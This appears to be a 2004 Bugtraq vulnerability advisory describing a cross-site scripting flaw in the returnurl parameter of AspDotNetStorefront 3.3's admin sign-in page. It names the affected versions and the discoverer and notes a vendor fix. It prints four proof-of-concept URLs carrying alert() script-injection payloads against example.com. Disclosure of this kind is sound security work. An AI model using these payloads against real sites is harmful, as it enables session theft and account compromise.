AspDotNetStorefront ReturnURL Parameter Cross-Site Scripting Vulnerability

Bugtraq ID:	10507
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 09 2004 12:00AM
Updated:	Jun 09 2004 12:00AM
Credit:	Discovery is credited to Thomas Ryan.
Vulnerable:	AspDotNetStorefront AspDotNetStorefront PRO 3.3 AspDotNetStorefront AspDotNetStorefront 3.3
Not Vulnerable:

AspDotNetStorefront ReturnURL Parameter Cross-Site Scripting Vulnerability

AspDotNetStorefront is prone to a cross-site scripting vulnerability. This issue exists due to insufficient sanitization of user-supplied data. The problem presents itself in the 'returnurl' parameter of the 'signin.aspx' script of the application and can allow remote attackers to steal cookie-based authentication credentials and carry out other attacks.

AspDotNetStorefront 3.3 is reportedly affected by this issue, however, it is possible that other versions are affected as well.

AspDotNetStorefront ReturnURL Parameter Cross-Site Scripting Vulnerability

No exploit is required.

The following proof of concept is available:
http://www.example.com/aspdotnetcart/admin/signin.aspx?returnurl=1"style=
"background:url(javascript:alert('Vulnerable_To_XSS'))"%20"

http://www.example.com/aspdotnetcart/admin/signin.aspx?returnurl=--><scri
pt>alert('Vulnerable_To_XSS')</script>

http://www.example.com/aspdotnetcart/admin/signin.aspx?returnurl=>"><scri
pt>alert("Vulnerable_To_XSS")</script>

http://www.example.com/aspdotnetcart/admin/signin.aspx?returnurl=>"'><img
%20src="javascript:alert('Vulnerable_To_XSS')">

AspDotNetStorefront ReturnURL Parameter Cross-Site Scripting Vulnerability

Solution:
The vendor has reportedly released an update to address this issue. Please contact the vendor to obtain fixes.

AspDotNetStorefront ReturnURL Parameter Cross-Site Scripting Vulnerability

References:

• AspDotNetStorefront Homepage (AspDotNetStorefront)
  
• ASPDOTNETSTOREFRONT Cross-Site Scripting Vulnerability ("Tom" )